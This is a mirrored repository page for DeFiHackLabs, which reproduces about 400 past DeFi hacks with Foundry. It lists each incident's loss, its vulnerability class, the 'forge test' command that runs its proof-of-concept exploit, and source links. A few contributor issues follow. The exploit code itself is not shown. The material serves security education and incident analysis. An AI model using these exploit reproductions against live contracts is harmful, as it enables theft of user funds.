Code Monkey home page Code Monkey logo

defihacklabs's Introduction

DeFi Hacks Reproduce - Foundry

Reproduce DeFi hack incidents using Foundry.

402 incidents included.

Let's make Web3 secure! Join Discord

Notion: 101 root cause analysis of past DeFi hacked incidents

Transaction debugging tools

Disclaimer: This content serves solely as a proof of concept showcasing past DeFi hacking incidents. It is strictly intended for educational purposes and should not be interpreted as encouraging or endorsing any form of illegal activities or actual hacking attempts. The provided information is for informational and learning purposes only, and any actions taken based on this content are solely the responsibility of the individual. The usage of this information should adhere to applicable laws, regulations, and ethical standards.

Getting Started

All articles are also published on Substack.

OnChain transaction debugging (Ongoing)

List of Past DeFi Incidents

20240430 Yield

20240430 PikeFinance

20240425 NGFS

20240424 XBridge

20240424 YIEDL

20240422 Z123

20240420 Rico

20240419 HedgeyFinance

20240416 SATX

20240416 MARS_DEFI

20240415 Chainge

20240412 FIL314

20240412 SumerMoney

20240412 GROKD

20240409 UPS

20240408 SQUID

20240404 WSM

20240401 ATM

20240401 OpenLeverage

20240329 PrismaFi

20240328 LavaLending

20240325 ZongZi

20240314 ARK

20240321 SSS

20240320 Paraswap

20240314 MO

20240313 IT

20240309 Juice

20240309 UnizenIO

20240307 GHT

20240306 ALP

20240306 TGBS

20240305 Woofi

20240228 Seneca

20240228 SMOOFSStaking

20240223 CompoundUni

20240223 BlueberryProtocol

20240221 DeezNutz404

20240221 GAIN

20240219 RuggedArt

20240216 ParticleTrade

20240215 DualPools

20240215 Miner

20240211 Game

20240210 FILX DN404

20240208 Pandora404

20240205 BurnsDefi

20240201 AffineDeFi

20240130 MIMSpell

20240128 BarleyFinance

20240127 CitadelFinance

20240125 NBLGAME

20240122 DAO_SoulMate

20240117 BmiZapper

20240117 SocketGateway

20240112 WiseLending

20240110 LQDX Alert

20240104 Gamma

20240102 RadiantCapital

20240101 OrbitChain

2023

20231230 ChannelsFinance

20231225 Telcoin

20231222 PineProtocol

20231220 TransitFinance

20231217 FloorProtocol

20231216 GoodDollar

20231216 NFTTrader

20231213 HYPR

20231206 TIME

20231206 ElephantStatus

20231205 BEARNDAO

20231201 UnverifiedContr_0x431abb

20231129 AIS

20231125 TheNFTV2

20231122 KyberSwap

20231117 Token8633_9419

20231117 ShibaToken

20231115 LinkDAO

20231114 OKC Project

20231112 MEV_0x8c2d

20231112 MEV_0xa247

20231111 Mahalend

20231110 Raft_fi

20231110 GrokToken

20231107 MEVbot

20231106 TrustPad

20231106 TheStandard_io

20231102 3913Token

20231101 OnyxProtocol

20231031 UniBotRouter

20231028 AstridProtocol

20231024 MaestroRouter2

20231022 OpenLeverage

20231019 kTAF

20231018 HopeLend

20231018 MicDao

20231013 BelugaDex

20231013 WiseLending

20231012 Platypus

20231011 BH

20231008 pSeudoEth

20231007 StarsArena

20231005 DePayRouter

20230930 FireBirdPair

20230929 DEXRouter

20230926 XSDWETHpool

20230924 KubSplit

20230921 CEXISWAP

20230916 uniclyNFT

20230911 0x0DEX

20230909 BFCToken

20230908 APIG

20230907 HCT

20230905 JumpFarm

20230905 HeavensGate

20230905 FloorDAO

20230902 DAppSocial

20230829 EAC

20230827 Balancer

20230826 SVT

20230824 GSS

20230821 EHIVE

20230819 BTC20

20230818 ExactlyProtocol

20230814 ZunamiProtocol

20230809 EarningFram

20230802 CurveBurner

20230802 Uwerx

20230801 NeutraFinance

20230801 LeetSwap

20230731 GYMNET

20230730 Curve

20230726 Carson

20230724 Palmswap

20230723 MintoFinance

20230722 ConicFinance02

20230721 ConicFinance

20230721 SUT

20230720 Utopia

20230720 FFIST

20230718 APEDAO

20230718 BNO

20230717 NewFi

20230712 Platypus

20230712 WGPT

20230711 RodeoFinance

20230711 Libertify

20230710 ArcadiaFi

20230708 CIVNFT

20230708 Civfund

20230707 LUSD

20230704 BambooIA

20230704 BaoCommunity

20230703 AzukiDAO

20230630 Biswap

20230628 Themis

20230623 SHIDO

20230621 BabyDogeCoin02

20230621 BUNN

20230620 MIM

20230618 ARA

20230617 Pawnfi

20230615 CFC

20230615 DEPUSDT_LEVUSDC

20230612 Sturdy Finance

20230611 SellToken04

20230607 CompounderFinance

20230606 VINU

20230606 UN

20230602 NST SimpleSwap

20230601 DDCoin

20230601 Cellframenet

20230531 ERC20TokenBank

20230529 Jimbo

20230529 BabyDogeCoin

20230529 FAPEN

20230529 NOON_NO

20230525 GPT

20230524 LocalTrade

20230524 CS

20230523 LFI

20230514 landNFT

20230514 SellToken03

20230513 Bitpaidio

20230513 SellToken02

20230512 LW

20230511 SellToken01

20230510 SNK

20230509 MCC

20230509 HODL

20230506 Melo

20230505 DEI

20230503 NeverFall

20230502 Level

20230428 0vix

20230427 SiloFinance

20230424 Axioma

20230419 OLIFE

20230416 Swapos V2

20230415 HundredFinance

20230413 yearnFinance

20230412 MetaPoint

20230411 Paribus

20230409 SushiSwap

20230405 Sentiment

20230402 Allbridge

20230328 SafeMoon Hack

20230328 THENA

20230325 DBW

20230322 BIGFI

20230317 ParaSpace NFT

20230315 Poolz

20230313 EulerFinance

20230308 DKP

20230307 Phoenix

20230227 LaunchZone

20230227 SwapX

20230224 EFVault

20230222 DYNA

20230218 RevertFinance

20230217 Starlink

20230217 Dexible

20230217 Platypusdefi

20230210 Sheep Token

20230210 dForce

20230207 CowSwap

20230206 FDP Token

20230203 Orion Protocol

20230203 Spherax USDs

20230202 BonqDAO

20230130 BEVO

20230126 TomInu Token

20230119 SHOCO Token

20230119 ThoreumFinance

20230118 QTN Token

20230118 UPS Token

20230117 OmniEstate

20230116 MidasCapital

20230111 UFDao

20230111 ROE

20230110 BRA

20230103 GDS

2022

20221230 DFS

20221229 JAY

20221225 Rubic

20221223 Defrost

20221214 Nmbplatform

20221214 FPR

20221213 ElasticSwap

20221212 BGLD

20221211 Lodestar

20221210 MUMUG

20221210 TIFIToken

20221209 NOVAToken

20221207 AES

20221205 RFB

20221205 BBOX

20221202 OverNight

20221201 APC

20221129 MBC & ZZSH

20221129 SEAMAN

20221123 NUM

20221122 AUR

20221121 SDAO

20221119 AnnexFinance

20221117 UEarnPool

20221116 SheepFarm

20221110 DFXFinance

20221109 brahTOPG

20221108 MEV_0ad8

20221108 Kashi

20221107 MooCAKECTX

20221105 BDEX

20221027 VTF

20221027 Team Finance

20221026 N00d Token

20221025 ULME

20221024 Market

20221024 MulticallWithoutCheck

20221021 OlympusDAO

20221020 HEALTH Token

20221020 BEGO Token

20221018 HPAY

20221018 PLTD Token

20221017 Uerii Token

20221014 INUKO Token

20221014 EFLeverVault

20221014 MEVBOT a47b

20221012 ATK

20221011 Rabby Wallet SwapRouter

20221011 Templedao

20221010 Carrot

20221009 Xave Finance

20221006 RES-Token

20221002 Transit Swap

20221001 BabySwap

20221001 RL

20221001 Thunder Brawl

20220929 BXH

20220928 MEVBOT Badc0de

20220923 RADT-DAO

20220913 MevBot Private TX

20220909 DPC

20220908 YYDS

20220908 NewFreeDAO

20220908 Ragnarok Online Invasion

20220906 NXUSD

20220905 ZoomproFinance

20220902 ShadowFi

20220902 Bad Guys by RPF

20220824 LuckyTiger NFT

20220810 XSTABLE Protocol

20220809 ANCH

20220807 EGD Finance

20220802 Nomad Bridge

20220801 Reaper Farm

20220725 LPC

20220723 Audius

20220713 SpaceGodzilla

20220710 Omni NFT

20220706 FlippazOne NFT

20220701 Quixotic - Optimism NFT Marketplace

20220626 XCarnival

20220624 Harmony's Horizon Bridge

20220618 SNOOD

20220616 InverseFinance

20220608 GYMNetwork

20220608 Optimism - Wintermute

20220606 Discover

20220529 NOVO Protocol

20220524 HackDao

20220517 ApeCoin

20220508 Fortress Loans

20220430 Saddle Finance

20220430 Rari Capital/Fei Protocol

20220428 DEUS DAO

20220424 Wiener DOGE

20220423 Akutar NFT

20220421 Zeed Finance

20220416 BeanstalkFarms

20220415 Rikkei Finance

20220412 ElephantMoney

20220411 Creat Future

20220409 GYMNetwork

20220329 Ronin Network

20220329 Redacted Cartel

20220327 Revest Finance

20220326 Auctus

20220322 CompoundTUSDSweepTokenBypass

20220321 OneRing Finance

20220320 LI.FI

20220320 Umbrella Network

20220315 Hundred Finance

20220313 Paraluni

20220309 Fantasm Finance

20220305 Bacon Protocol

20220303 TreasureDAO

20220214 BuildFinance - DAO

20220208 Sandbox LAND

20220206 Meter

20220206 TecraSpace

20220128 Qubit Finance

20220118 Multichain (Anyswap)

2021

20211221 Visor Finance

20211218 Grim Finance

20211214 Nerve Bridge

20211130 MonoX Finance

20211027 Cream Finance

20211015 Indexed Finance

20210916 SushiSwap Miso

20210915 Nimbus Platform

20210915 NowSwap Platform

20210912 ZABU Finance

20210903 DAO Maker

20210830 Cream Finance

20210817 XSURGE

20210811 Poly Network

20210804 WaultFinance

20210728 Levyathan Finance

20210710 Chainswap

20210702 Chainswap

20210628 SafeDollar

20210625 xWin Finance

20210622 Eleven Finance

20210607 88mph NFT

20210603 PancakeHunny

20210527 BurgerSwap

20210519 PancakeBunny

20210508 Rari Capital

20210508 Value Defi

20210502 Spartan

20210428 Uranium

20210308 DODO

20210305 Paid Network

20210125 Sushi Badger Digg

Before 2020

20201229 Cover Protocol

20201121 Pickle Finance

20201026 Harvest Finance

20200804 Opyn Protocol

20200618 Bancor Protocol

20200418 UniSwapV1

20180422 Beauty Chain

20171106 Parity - 'Accidentally Killed It'


Transaction debugging tools

Phalcon | Tx tracer | Cruise | Ethtx | Tenderly | eigenphi

Ethereum Signature Database

4byte | sig db | etherface

Useful tools

ABI to interface | Get ABI for unverified contracts | ETH Calldata Decoder | ETHCMD - Guess ABI | Abi tools

Hacks Dashboard

Slowmist | Defillama | De.Fi | Rekt | Cryptosec


List of DeFi Hacks & POCs

20240430 Yield - Business Logic Flaw

Lost: 181K

forge test --contracts ./src/test/2024-04/Yield_exp.sol -vvv

Contract

Yield_exp.sol

Link reference

https://twitter.com/peckshield/status/1785121607192817692

https://medium.com/immunefi/yield-protocol-logic-error-bugfix-review-7b86741e6f50


20240430 PikeFinance - Uninitialized Proxy

Lost: 1.4M

forge test --contracts ./src/test/2024-04/PikeFinance_exp.sol -vvv

Contract

PikeFinance_exp.sol

Link reference

https://twitter.com/Phalcon_xyz/status/1785508900093194591


20240425 NGFS - Bad Access Control

Lost: ~190K

forge test --contracts ./src/test/NGFS_exp.sol -vvv --evm-version shanghai

Contract

NGFS_exp.sol

Link reference

https://twitter.com/CertiKAlert/status/1783476515331616847


20240424 XBridge - Logic Flaw

Lost: >200k USD(plus a lot of STC, SRLTY, Mazi tokens)

forge test --contracts ./src/test/XBridge_exp.sol -vvv

Contract

XBridge_exp.sol


20240424 YIEDL - Input Validation

Lost: 150k USD

forge test --contracts ./src/test/YIEDL_exp.sol -vvv

20240422 Z123 - price manipulation

Lost: 136k USD

forge test --contracts ./src/test/Z123_exp.sol -vvv

Contract

Z123_exp.sol

Link reference

https://twitter.com/PeckShieldAlert/status/1782322484911784385


20240420 Rico - Arbitrary Call

Lost: 36K

forge test --contracts ./src/test/2024-04/Rico_exp.sol -vvv

Contract

Rico_exp.sol

Link reference

https://twitter.com/ricocreditsys/status/1781803698940781009


20240419 HedgeyFinance - Logic Flaw

Lost: 48M USD

forge test --contracts ./src/test/others/HedgeyFinance_exp.sol -vvv

Contract

HedgeyFinance_exp.sol

Link reference

https://twitter.com/Cube3AI/status/1781294512716820918


20240416 SATX - Logic Flaw

Lost: ~ 50 BNB

forge test --contracts src/test/others/SATX_exp.sol -vvv

Contract

SATX_exp.sol

Link reference

https://x.com/bbbb/status/1780341239801393479


20240416 MARS - Bad Reflection

Lost: >100K

forge test --contracts src/test/others/MARS_exp.sol -vv

Contract

MARS_exp.sol

Link reference

https://twitter.com/Phalcon_xyz/status/1780150315603701933

20240415 Chainge - Input Validation

Lost: ~200K

forge test --contracts ./src/test/others/Chainge_exp.sol -vvv

Contract

Chainge_exp.sol

Link reference

https://twitter.com/CyversAlerts/status/1779875922381860920


20240412 FIL314 - Insufficient Validation And Price Manipulation

Lost: ~14 BNB

forge test --contracts ./src/test/2024-04/FIL314_exp.sol -vvv

Contract

FIL314_exp.sol

Link reference


20240412 SumerMoney - Reentrancy

Lost: 350K

forge test --contracts ./src/test/2024-04/SumerMoney_exp.sol -vvv

Contract

SumerMoney_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1778986926705672698


20240412 GROKD - lack of access control

Lost: $~150 BNB

forge test --contracts ./src/test/2024-04/GROKD_exp.sol -vvv

Contract

GROKD_exp.sol

Link reference

https://x.com/hipalex921/status/1778482890705416323?t=KvvG83s7SXr9I55aftOc6w&s=05


20240409 UPS - business logic flaw

Lost: $~28K USD

forge test --contracts ./src/test/2024-04/UPS_exp.sol -vvv

Contract

UPS_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1777589021058728214


20240408 SQUID - sandwich attack

Lost: $~87K USD

forge test --contracts ./src/test/2024-04/SQUID_exp.sol -vvv

Contract

SQUID_exp.sol

Link reference

https://twitter.com/bbbb/status/1777228277415039304


20240404 wsm - manipulating price

Lost: $~18K USD

forge test --contracts ./src/test/2024-04/WSM_exp.sol -vvv

Contract

WSM_exp.sol

Link reference

https://hacked.slowmist.io/#:~:text=Hacked%20target%3A%20Wall%20Street%20Memes


20240401 ATM - business logic flaw

Lost: $~182K USD

forge test --contracts ./src/test/2024-04/ATM_exp.sol -vvv

Contract

ATM_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1775008489569718508


20240401 OpenLeverage - Reentrancy

Lost: ~234K

forge test --contracts src/test/2024-04/OpenLeverage2_exp.sol -vvv

Contract

OpenLeverage2_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1774727539975672136


20240329 PrismaFi - Insufficient Validation

Lost: $~11M

forge test --contracts ./src/test/2024-03/Prisma_exp.sol -vvv

Contract

Prisma_exp.sol

Link reference

https://twitter.com/EXVULSEC/status/1773371049951797485


20240328 LavaLending - Business Logic Flaw

Lost: ~340K

forge test --contracts src/test/2024-03/LavaLending_exp.sol -vvv

Contract

LavaLending_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1774727539975672136

https://twitter.com/Phalcon_xyz/status/1773546399713345965

https://hackmd.io/@LavaSecurity/03282024


20240325 ZongZi - Price Manipulation

Lost: ~223K

forge test --contracts src/test/2024-03/ZongZi_exp.sol -vvv

Contract

ZongZi_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1772195949638775262


20240321 SSS - Token Balance Doubles on Transfer to self

Lost: 4.8M

forge test --contracts ./src/test/2024-03/SSS_exp.sol -vvv

Contract

SSS_exp.sol

Link reference

https://twitter.com/dot_pengun/status/1770989208125272481


20240324 ARK - business logic flaw

Lost: ~348BNB

forge test --contracts src/test/2024-03/ARK_exp.sol -vvv

Contract

ARK_exp.sol

Link reference

https://twitter.com/Phalcon_xyz/status/1771728823534375249


20240320 Paraswap - Incorrect Access Control

Lost: ~24K

forge test --contracts src/test/2024-03/Paraswap_exp.sol -vvv --evm-version shanghai

Contract

Paraswap_exp.sol

Link reference

https://medium.com/neptune-mutual/analysis-of-the-paraswap-exploit-1f97c604b4fe


20240314 MO - business logic flaw

Lost: ~413k USDT

forge test --contracts src/test/2024-03/MO_exp.sol -vvv

Contract

MO_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1768184024483430523


20240313 IT - business logic flaw

Lost: ~13k USDT

forge test --via-ir  --contracts src/test/2024-03/IT_exp.sol -vvv

Contract

IT_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1768171595561046489


20240309 Juice - Business Logic Flaw

Lost: ~54 ETH

forge test --contracts ./src/test/2024-03/Juice_exp.sol -vvv

Contract

Juice_exp.sol

Link reference

https://medium.com/@juicebotapp/juice-staking-exploit-next-steps-95e218b3ec71


20240309 UnizenIO - unverified external call

Lost: ~2M

forge test --contracts src/test/2024-03/UnizenIO_exp.sol -vvvv

Contract

UnizenIO_exp.sol | UnizenIO2_exp.sol

Link reference

https://twitter.com/Phalcon_xyz/status/1766274000534004187

https://twitter.com/AnciliaInc/status/1766261463025684707


20240307 GHT - Business Logic Flaw

Lost: ~57K

forge test --contracts ./src/test/2024-03/GHT_exp.sol -vvv

Contract

GHT_exp.sol

Link reference


20240306 ALP - Public internal function

Lost: ~10K

Testing

forge test --contracts ./src/test/2024-03/ALP_exp.sol -vvv

Contract

ALP_exp.sol

Link Reference

https://twitter.com/0xNickLFranklin/status/1765296663667875880


20240306 TGBS - Business Logic Flaw

Lost: ~150K

forge test --contracts ./src/test/2024-03/TGBS_exp.sol -vvv

Contract

TGBS_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1765290290083144095

https://twitter.com/Phalcon_xyz/status/1765285257949974747


20240305 Woofi - Price Manipulation

Lost: ~8M

forge test --contracts ./src/test/2024-03/Woofi_exp.sol -vvv

Contract

Woofi_exp.sol

Link reference

https://twitter.com/spreekaway/status/1765046559832764886 https://twitter.com/PeckShieldAlert/status/1765054155478175943


20240228 Seneca - Arbitrary External Call Vulnerability

Lost: ~6M

forge test --contracts ./src/test/2024-02/Seneca_exp.sol -vvv

Contract

Seneca_exp.sol

Link reference

https://twitter.com/Phalcon_xyz/status/1763045563040411876


20240228 SMOOFSStaking - Reentrancy

Lost: Unclear

forge test --contracts ./src/test/2024-02/SMOOFSStaking_exp.sol -vvv

Contract

SMOOFSStaking_exp.sol

Link reference

https://twitter.com/AnciliaInc/status/1762893563103428783

https://twitter.com/0xNickLFranklin/status/1762895774311178251


20240223 CompoundUni - Oracle bad price

Lost: ~439,537 USD

forge test --contracts ./src/test/2024-02/CompoundUni_exp.sol -vvv

Contract

CompoundUni_exp.sol

Link reference

https://twitter.com/0xLEVI104/status/1762092203894276481


20240223 BlueberryProtocol - logic flaw

Lost: ~1,400,000 USD

forge test --contracts ./src/test/2024-02/BlueberryProtocol_exp.sol -vvv

Contract

BlueberryProtocol_exp.sol

Link reference

https://twitter.com/blueberryFDN/status/1760865357236211964


20240221 DeezNutz 404 - lack of validation

Lost: ~170k

forge test --contracts ./src/test/2024-02/DeezNutz404_exp.sol -vvv

Contract

DeezNutz404_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1760481343161700523


20240221 GAIN - bad function implementation

Lost: ~6.4 ETH

forge test --contracts ./src/test/2024-02/GAIN_exp.sol -vvv

Contract

GAIN_exp.sol

Link reference

https://twitter.com/0xNickLFranklin/status/1760559768241160679


20240219 RuggedArt - reentrancy

Lost: ~10k

forge test --contracts ./src/test/others/RuggedArt_exp.sol -vvv

Contract

RuggedArt_exp.sol

Link reference

https://twitter.com/EXVULSEC/status/1759822545875025953


20240216 ParticleTrade - lack of validation data

Lost: ~50k

forge test --contracts ./src/test/2024-02/ParticleTrade_exp.sol -vvv

Contract

ParticleTrade_exp.sol

Link reference

https://twitter.com/Phalcon_xyz/status/1758028270770250134


20240215 DualPools - precision truncation

Lost: ~42k

forge test --contracts ./src/test/2024-02/DualPools_exp.sol -vvvv

Contract

DualPools_exp.sol

Link reference

https://medium.com/@lunaray/dualpools-hack-analysis-5209233801fa


20240215 Miner - lack of validation dst address

Lost: ~150k

forge test --contracts ./src/test/2024-02/Miner_exp.sol -vvv --evm-version shanghai

Contract

Miner_exp.sol

Link reference

https://twitter.com/Phalcon_xyz/status/1757777340002681326


20240211 Game - Reentrancy && Business Logic Flaw

Lost: ~20 ETH

forge test --contracts ./src/test/2024-02/Game_exp.sol -vvv

Contract

Game_exp.sol

Link reference

https://twitter.com/AnciliaInc/status/1757533144033739116


20240210 FILX DN404 - Access Control

Lost: 200K

forge test --contracts ./src/test/2024-02/DN404_exp.sol -vvv

Contract

DN404_exp.sol


20240208 Pandora - interger underflow

Lost: ~17K USD

forge test --contracts ./src/test/2024-02/PANDORA_exp.sol -vvv

Contract

PANDORA_exp.sol

Link reference

https://twitter.com/pennysplayer/status/1766479470058406174


20240205 BurnsDefi - Price Manipulation

Lost: ~67K

forge test --contracts ./src/test/2024-02/BurnsDefi_exp.sol -vvv

Contract

BurnsDefi_exp.sol

Link reference

https://twitter.com/pennysplayer/status/1754342573815238946

https://medium.com/neptune-mutual/how-was-citadel-finance-exploited-a5f9acd0b408 (similar incident)


20240201 AffineDeFi - lack of validation userData

Lost: ~88K

forge test --contracts ./src/test/2024-02/AffineDeFi_exp.sol -vvv

Contract

AffineDeFi_exp.sol

Link reference

https://twitter.com/Phalcon_xyz/status/1753020812284809440

https://twitter.com/CyversAlerts/status/1753040754287513655


20240130 MIMSpell - Precission Loss

Lost: ~6,5M

forge test --contracts ./src/test/2024-01/MIMSpell2_exp.sol -vvv

Contract

MIMSpell2_exp.sol

Link reference

https://twitter.com/kankodu/status/1752581744803680680

https://twitter.com/Phalcon_xyz/status/1752278614551216494

https://twitter.com/peckshield/status/1752279373779194011

https://phalcon.blocksec.com/explorer/security-incidents


20240128 BarleyFinance - Reentrancy

Lost: ~130K

forge test --contracts ./src/test/2024-01/BarleyFinance_exp.sol -vvv

Contract

BarleyFinance_exp.sol

Link reference

https://phalcon.blocksec.com/explorer/security-incidents

https://www.bitget.com/news/detail/12560603890246

https://twitter.com/Phalcon_xyz/status/1751788389139992824


20240127 CitadelFinance - Price Manipulation

Lost: ~93K

forge test --contracts ./src/test/2024-01/CitadelFinance_exp.sol -vvv

Contract

CitadelFinance_exp.sol

Link reference

https://medium.com/neptune-mutual/how-was-citadel-finance-exploited-a5f9acd0b408


20240125 NBLGAME - Reentrancy

Lost: ~180K

forge test --contracts ./src/test/2024-01/NBLGAME_exp.sol -vvv

Contract

NBLGAME_exp.sol

Link reference

https://twitter.com/SlowMist_Team/status/1750526097106915453

https://twitter.com/AnciliaInc/status/1750558426382635036


20240122 DAO_SoulMate - Incorrect Access Control

Lost: ~319K

forge test --contracts ./src/test/2024-01/DAO_SoulMate_exp.sol -vvv --evm-version 'shanghai'

Contract

DAO_SoulMate_exp.sol

Link reference

https://twitter.com/MetaSec_xyz/status/1749743245599617282


20240117 BmiZapper - Arbitrary external call vulnerability

Lost: ~114K

forge test --contracts ./src/test/2024-01/Bmizapper_exp.sol -vvv

Contract

BmiZapper_exp.sol

Link reference

https://x.com/0xmstore/status/1747756898172952725


20240112 SocketGateway - Lack of calldata validation

Lost: ~3.3Million $

forge test --contracts ./src/test/2024-01/SocketGateway_exp.sol -vvv --evm-version shanghai

Contract

SocketGateway_exp.sol

Link reference

https://twitter.com/BeosinAlert/status/1747450173675196674

https://twitter.com/peckshield/status/1747353782004900274


20240112 WiseLending - Bad HealthFactor Check

Lost: ~464K

forge test --contracts ./src/test/others/WiseLending02.exp.sol -vvv --evm-version shanghai

Contract

WiseLending02_exp.sol

WiseLending02.exp.sol

Link reference

https://twitter.com/danielvf/status/1746303616778981402


20240110 LQDX - Unauthorized TransferFrom

Lost: unknown

forge test --contracts src/test/2024-01/LQDX_alert_exp.sol -vvv

Contract

LQDX_alert_exp.sol

Link reference

https://twitter.com/SlowMist_Team/status/1744972012865671452


20240104 Gamma - Price manipulation

Lost: ~6.3M

forge test --contracts ./src/test/2024-01/Gamma_exp.sol -vvv

Contract

Gamma_exp.sol

Link reference

https://twitter.com/officer_cia/status/1742772207997050899

https://twitter.com/shoucccc/status/1742765618984829326


20240102 RadiantCapital - Loss of Precision

Lost: ~4,5M

forge test --contracts ./src/test/2024-01/RadiantCapital_exp.sol -vvv

Contract

RadiantCapital_exp.sol

Link reference

https://neptunemutual.com/blog/how-was-radiant-capital-exploited/

https://twitter.com/BeosinAlert/status/1742389285926678784


20240101 OrbitChain - Incorrect input validation

Lost: ~81M

forge test --contracts ./src/test/2024-01/OrbitChain_exp.sol -vvv

Contract

OrbitChain_exp.sol

Link reference

https://blog.solidityscan.com/orbit-chain-hack-analysis-b71c36a54a69


View Gas Reports

Foundry also has the ability to report the gas used per function call which mimics the behavior of hardhat-gas-reporter. Generally speaking if gas costs per function call is very high, then the likelihood of its success is reduced. Gas optimization is an important activity done by smart contract developers.

Every poc in this repository can produce a gas report like this:

forge test --gas-report --contracts <contract> -vvv

For Example: Let us find out the gas used in the Audius poc

Execution

forge test --gas-report --contracts ./src/test/Audius.exp.sol -vvv

Demo

Bug Reproduce

Moved to DeFiVulnLabs

FlashLoan Testing

Moved to DeFiLabs

defihacklabs's People

Contributors

0xdatapunk avatar akshaynexus avatar apehex avatar autosaida avatar aviggiano avatar bznsix avatar cache-and-burn avatar cafexss avatar caomingpei avatar cryptothink629 avatar cylzxje avatar eloi010 avatar eugenioclrc avatar finn79426 avatar githubsavelib avatar isol4te avatar jes16jupyter avatar jsvisa avatar kkaminsk86 avatar louistsai-csie avatar pasha9990 avatar peiqi0 avatar qilol avatar rriescog avatar sunweb3sec avatar tgeaus avatar y1cunhui avatar yumistar avatar zhouxianyuan avatar zzzuhaibmohd avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

defihacklabs's Issues

Planning a contributor's specific channel

Goal: Tech discuss, learn from each one. Group a web3 security labs. we can participate CTF, bug bounty or create a whitehat DAO, etc.
Who can join: Contributor's in this repo.

Any ideas are welcome.

[IMPROVEMENT IDEAS] Dealing with implementation behind proxy contract i.e. deploy, upgrade, admin etc.

Hi,

Thank you for the fantastic and comprehensive guidance over the details of Defi Hacking for good.

As captured in the title, I would like to propose if you could consider adding topics related to proxy contract.

The rationale of the proposal to include proxy contract is due to recently, there has been increasing popularity to deploy proxy contract as well as some reported incidents on upgraded implementation contract been exploited. There are quite a number of vulnerabilities could be introduced by the flow of proxy contract nonetheless including deployment, access control, upgradeability, ABI exposure, interface visibility in implementation contract etc.

For instant, one issue that I recently encountered to deal with proxied contract is to manually compare the ABI of proxy contract + contract code of proxy contract + ABI of implementation contract in order to have a complete view of ABI.

Proxy ABI->Solidity:

interface MyInterface {
    event AdminChanged(address previousAdmin, address newAdmin);
    event BeaconUpgraded(address indexed beacon);
    event ImplementationChanged(
        uint256 indexed timestamp,
        address newImplementationAddress
    );
    event Upgraded(address indexed implementation);

    fallback() external payable;

    function changeProxyAdmin(address _newAdmin) external;

    function getProxyAdmin() external view returns (address);

    function implementation() external view returns (address);

    function upgradeTo(address _newImplementation) external;

    receive() external payable;
}

Function inside (snippet) proxy contract:

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

(snippet) ABI of implementation contract:

function transferOwnership(address newOwner) external;

How DeFi developer going to find out the true interface of transferOwnership in this case? To my best knowledge, there is no tool to help extracting ABI of proxy + function within proxy + ABI of implemetation contract. Please feel free to share with us in case you know elsewise.

With your in depth knowledge and experiences in DeFi, I trust by sharing topics mentioned above will further improve security of DeFi as you've envisioned. I sincerely hope you would consider adding proxy contract topics in the near future as well as add related tests into DeFiHackLabs.

Thank you for your attention.

Understanding cheats.createSelectFork

I have a few questions regarding your project. It would be very helpful if you could assist me in understanding what happens behind the scenes.

Q1

How can I see the implementation of cheat codes? If it's an address on the blockchain, could you please do me a favor and send me the link to the source code?

Q2

Why should test cases fork the blockchain at a very specific block number? How did you determine the correct block number? Why might the test cases fail at the latest block number?

Thank you so much for your assistance.

Question Regarding Improving the Completeness of Certain EXP Files

Hello, I have noticed that some of the EXP files in this repository may not be as comprehensive as they could be. I would like to inquire about the preferred method for enhancing their completeness. Should I make substantial changes directly to the original EXP files (possibly involving many changes), or is it advisable to create new ones named as "exp2"?

Refactoring proposal

Hello,

I am starting to learn this codebase and I believe it could benefit from a structural refactor.

Currently, the README contains descriptions from various exploits, in chronological order, together with foundry reproducers. The issue is that the reproducers are all on the src folder, without any ordering whatsoever.

I propose a slight change on that structure:

images
  |_ ...
academy
  |_ ...
hacks
  |_ 2024
    |_ 01
      |_ OrbitChain_exp.sol

If you agree on this refactor, I can submit a PR

Request for Translation of the First Four Articles in the DefiHackLabs onchain_debug Course into Simplified Chinese

Hi,

I am a Solidity learner who recently came across your onchain_debug course. I noticed that the first four articles are written in Traditional Chinese, while the subsequent 5-7 articles are in Simplified Chinese. For learners who are more comfortable with Simplified Chinese, this may pose a slight comprehension barrier.

